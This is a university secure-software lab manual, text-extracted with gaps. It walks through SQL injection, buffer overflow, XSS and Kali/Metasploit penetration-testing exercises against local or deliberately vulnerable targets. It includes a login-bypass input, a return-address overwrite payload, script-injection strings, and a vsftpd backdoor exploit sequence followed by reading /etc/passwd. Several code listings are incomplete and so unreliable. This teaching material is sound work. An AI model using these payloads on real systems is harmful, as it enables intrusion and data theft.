ESSS Lab Manual
ESSS Lab Manual
CSE(CYBER SECURITY)
Subject Code & Title: CB3591 ENGINEERING SECURE SOFTWARE SYSTEM - LABORATORY
Certified that this is a bonafide record of work done by the above student in the laboratory
during the year 2024 - 2025.
Theory
SQL injection is a code injection technique used to exploit vulnerabilities in an application's
software by manipulating SQL queries. It occurs when an application allows user inputs to
modify database queries without proper validation or sanitization.
Requirements
1. Software:
o XAMPP (or any LAMP/WAMP server) for hosting the application and database.
o Browser (e.g., Chrome, Firefox).
o SQL Database (e.g., MySQL).
2. Programming Language:
o PHP (or any server-side language).
3. Tools:
o Text editor (e.g., VSCode, Sublime Text).
o Sample database (e.g., test_db).
Procedure
Step 1: Setting up the Environment
1. Install and configure XAMPP.
2. Create a database test_db using phpMyAdmin.
3. Add a table users with the following structure:
3
INSERT INTO users (username, password) VALUES ('admin', 'admin123'), ('user', 'user123');
Step 2: Writing the Vulnerable Application
1. Create a PHP file login.php with the following code:
php
Copy code
<?php
$conn = new mysqli('localhost', 'root', '', 'test_db');
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = $_POST['username'];
$password = $_POST['password'];
if ($result->num_rows > 0) {
echo "Login Successful!";
} else {
echo "Invalid Credentials!";
}
}
?>
<form method="POST" action="">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<button type="submit">Login</button>
</form>
Step 3: Performing the SQL Injection Attack
1. Access login.php in the browser (e.g., http://localhost/login.php).
2. Input the following credentials to bypass login:
o Username: admin' --
o Password: (leave blank)
4
3. Observe the response: "Login Successful!"
This happens because the SQL query becomes:
Result
The SQL injection attack was successfully implemented, showcasing how attackers exploit
vulnerabilities in applications to manipulate or access sensitive data. Mitigation techniques were
identified and demonstrated.
5
Experiment 2
Implementing Buffer Overflow Attack
Aim:
To understand and demonstrate how buffer overflow attacks work, their effects on system
memory, and how attackers exploit these vulnerabilities to gain unauthorized access or crash a
program.
Theory
Buffer Overflow
A buffer overflow occurs when a program writes more data to a buffer (a contiguous memory
block) than it can hold. This excess data can overwrite adjacent memory, potentially altering the
program’s behavior or causing it to execute malicious code.
Requirements
1. Operating System: Linux (preferred for tools like gcc and gdb).
2. Software:
o GCC (GNU Compiler Collection).
o GDB (GNU Debugger).
3. Programming Language: C.
Procedure
Step 1: Setting up the Environment
1. Install GCC and GDB:
sudo apt update
sudo apt install gcc gdb
2. Create a directory for the experiment files:
bash
Copy code
mkdir buffer_overflow_lab
cd buffer_overflow_lab
6
#include <stdio.h>
#include <string.h>
7
Step 4: Exploiting the Buffer Overflow
1. Create a Malicious Payload: Use a script or manual calculation to craft a payload that
overwrites the return address. For example:
./vulnerable $(python3 -c 'print("A"*24 + "\xef\xbe\xad\xde")')
Replace \xef\xbe\xad\xde with the address of the malicious code (obtained using gdb).
2. Analyze Using GDB:
o Start debugging:
gdb ./vulnerable
o Run the program with oversized input:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA
o Observe the overwritten return address.
Result
The buffer overflow attack was successfully implemented, demonstrating how improper memory
management can compromise application security. Mitigation techniques were identified and
discussed.
8
Experiment 3
Implementing Cross-Site Scripting (XSS) and Preventing XSS
Aim:
To understand Cross-Site Scripting (XSS) attacks, how they exploit vulnerabilities in web
applications to inject malicious scripts, and the measures to prevent such attacks.
Theory
Cross-Site Scripting (XSS):
XSS is a type of attack in which malicious scripts are injected into trusted websites. It occurs
when an application accepts untrusted user inputs and returns them to the browser without
proper validation or escaping.
Types of XSS:
1. Stored XSS: Malicious scripts are permanently stored on the target server, such as in
databases or message boards.
2. Reflected XSS: Malicious scripts are reflected off a web application, such as in error
messages or search results.
3. DOM-Based XSS: Malicious scripts manipulate the Document Object Model (DOM)
directly in the browser.
Impacts of XSS:
• Theft of cookies or session data.
• Defacement of web pages.
• Execution of malicious actions on behalf of a victim.
Requirements
1. Software:
o XAMPP (or any LAMP/WAMP server).
o Browser with developer tools (e.g., Chrome, Firefox).
2. Programming Language:
o HTML, JavaScript, and PHP.
Procedure
Step 1: Setting up the Environment
1. Install and configure XAMPP.
9
2. Create a project directory for the lab (e.g., xss_lab).
3. Create a database xss_demo using phpMyAdmin, and add a table comments:
CREATE TABLE comments (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
comment TEXT NOT NULL
);
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$comment = $_POST['comment'];
10
<button type="submit">Submit</button>
</form>
<h2>Comments:</h2>
<?php while ($row = $result->fetch_assoc()): ?>
<p><strong><?php echo $row['username']; ?>:</strong> <?php echo $row['comment'];
?></p>
<?php endwhile; ?>
</body>
</html>
2. Start the server and access the application (e.g., http://localhost/xss_lab/xss.php).
11
$comment = filter_var($_POST['comment'], FILTER_SANITIZE_STRING);
o Use Content Security Policy (CSP) headers to restrict script execution:
header("Content-Security-Policy: script-src 'self';");
Result
The Cross-Site Scripting attack was successfully demonstrated, showing how vulnerabilities can
be exploited to execute malicious scripts. Techniques to prevent XSS were implemented and
verified.
12
Experiment 4
Performing Penetration Testing on a Web Application Using Tools like Kali Linux
Aim:
To perform penetration testing on a web application to gather information about the system and
demonstrate Cross-Site Scripting (XSS) and SQL Injection attacks using tools like Kali Linux.
Theory
Penetration Testing:
Penetration testing, or ethical hacking, involves simulating cyberattacks on a system to identify
and address security vulnerabilities.
Phases of Penetration Testing:
1. Reconnaissance: Gathering information about the target system.
2. Scanning: Identifying open ports, services, and vulnerabilities.
3. Exploitation: Launching attacks like XSS and SQL Injection to validate vulnerabilities.
4. Reporting: Documenting findings and providing recommendations.
Tools in Kali Linux:
1. Burp Suite: A web application security testing tool.
2. OWASP ZAP: An open-source web application security scanner.
3. SQLMap: A tool for automated SQL injection.
4. Browser Developer Tools: To manually test for vulnerabilities like XSS.
Requirements
1. Software:
o Kali Linux (or a virtual machine running Kali Linux).
o Vulnerable web application (e.g., DVWA - Damn Vulnerable Web Application).
o Web browser (e.g., Firefox, Chrome).
2. Tools in Kali Linux:
o Burp Suite.
o SQLMap.
o OWASP ZAP
13
Procedure
Step 1: Setting Up the Environment
1. Install and configure Kali Linux on a physical or virtual machine.
2. Set up a vulnerable web application like DVWA:
o Install XAMPP and DVWA on a separate system or VM.
o Access DVWA in a browser (e.g., http://<ip-address>/dvwa).
o Set the DVWA security level to low.
14
input in the response.
2. Inject an XSS payload:
o Payload example:
<script>alert('XSS Detected!');</script>
o Submit the payload in vulnerable input fields like comment boxes or search bars.
3. Verify the attack:
o Observe script execution in the browser.
Result
Penetration testing was performed successfully, demonstrating information gathering, SQL
Injection, and XSS attacks. Effective mitigation techniques were discussed and documented.
15
Experiment 5
Develop and Test Secure Test Cases
Aim:
To understand the process of creating and executing secure test cases to identify and mitigate
potential vulnerabilities in software applications.
Theory
Secure Test Cases:
Secure test cases are designed to evaluate the security aspects of a software application. They
aim to identify vulnerabilities, weaknesses, or misconfigurations that could be exploited by
attackers.
Key Principles of Secure Testing:
1. Confidentiality: Ensures sensitive data is not exposed.
2. Integrity: Verifies that data is not altered without authorization.
3. Availability: Ensures the application remains operational under various conditions.
4. Authentication and Authorization: Confirms that only authorized users can access
protected resources.
5. Input Validation: Prevents invalid or malicious inputs.
Requirements
1. Software:
o Application under test (e.g., a web application or API).
o Testing tools (e.g., Postman, OWASP ZAP, Burp Suite, Selenium).
2. Programming Language/Frameworks:
o Use of testing frameworks such as JUnit, Pytest, or custom scripts.
Procedure
Step 1: Define Security Requirements
1. Identify security requirements of the application. For example:
o User authentication must use a secure protocol (e.g., HTTPS).
o Passwords must be hashed and not stored in plaintext.
o Application must validate all inputs.
16
Step 2: Create Secure Test Cases
Design test cases based on identified security requirements. Examples include:
o Authentication Test Case: Test login functionality with valid and invalid
credentials.
o SQL Injection Test Case: Test inputs for susceptibility to SQL Injection.
o XSS Test Case: Test for unescaped user inputs that could execute malicious
scripts.
o Session Management Test Case: Test session expiry after inactivity.
driver = webdriver.Chrome()
driver.get("http://example.com/login")
username = driver.find_element("name", "username")
username.send_keys("<script>alert('XSS')</script>")
driver.find_element("name", "submit").click()
17
Step 4: Recommend Mitigation Measures
1. Fix Identified Issues: Collaborate with developers to resolve vulnerabilities.
2. Re-test Resolved Issues: Run secure test cases again to verify fixes.
3. Implement Preventive Measures:
o Use secure coding practices.
o Regularly update and patch the application.
Result
Secure test cases were successfully developed and executed. Vulnerabilities were identified,
and mitigation strategies were suggested to enhance the application's security.
18
Experiment 6
Penetration Testing Using Kali Linux
Aim:
To conduct a penetration test on a target system using Kali Linux, identifying vulnerabilities and
assessing the security of the system.
Theory
Penetration Testing:
Penetration testing simulates real-world attacks on a system to uncover vulnerabilities and
provide actionable insights to secure the system.
Phases of Penetration Testing:
1. Reconnaissance: Information gathering about the target system.
2. Scanning and Enumeration: Identifying open ports, services, and vulnerabilities.
3. Exploitation: Attempting to exploit vulnerabilities to gain unauthorized access.
4. Post-Exploitation: Assessing the impact of exploitation and maintaining access.
5. Reporting: Documenting findings and providing recommendations.
Kali Linux Tools for Penetration Testing:
1. Nmap: Network scanning and port discovery.
2. Metasploit Framework: Exploitation and payload delivery.
3. Nikto: Web server scanning.
4. OWASP ZAP: Web application security testing.
5. Hydra: Brute force attacks on authentication services.
Requirements
1. Software:
o Kali Linux (physical or virtual machine).
o Vulnerable system (e.g., Metasploitable2 or DVWA).
2. Network:
o Both systems (Kali Linux and target) connected to the same network.
19
Procedure
Step 1: Setting Up the Environment
1. Install and configure Kali Linux on a physical or virtual machine.
2. Set up a vulnerable system such as Metasploitable2:
o Download and run the Metasploitable2 virtual machine.
o Ensure it is reachable from Kali Linux (ping the IP address).
Step 4: Exploitation
1. Open Metasploit Framework in Kali Linux:
msfconsole
2. Search for available exploits for identified vulnerabilities:
search vsftpd
3. Use the exploit and set the target options:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <target-ip>
20
set RPORT 21
exploit
4. Verify if unauthorized access or shell access is obtained.
Step 5: Post-Exploitation
1. Assess the level of access obtained:
o Retrieve sensitive files (e.g., /etc/passwd).
o Check for escalated privileges.
2. Document the potential impact of the exploit.
Step 6: Reporting
1. Create a detailed report with the following details:
o Scanned open ports and services.
o Vulnerabilities identified and exploited.
o Screenshots of successful exploitation.
o Recommendations for securing the system.
Result
The penetration test was conducted successfully, identifying vulnerabilities and demonstrating
the ability to exploit them using Kali Linux tools.
21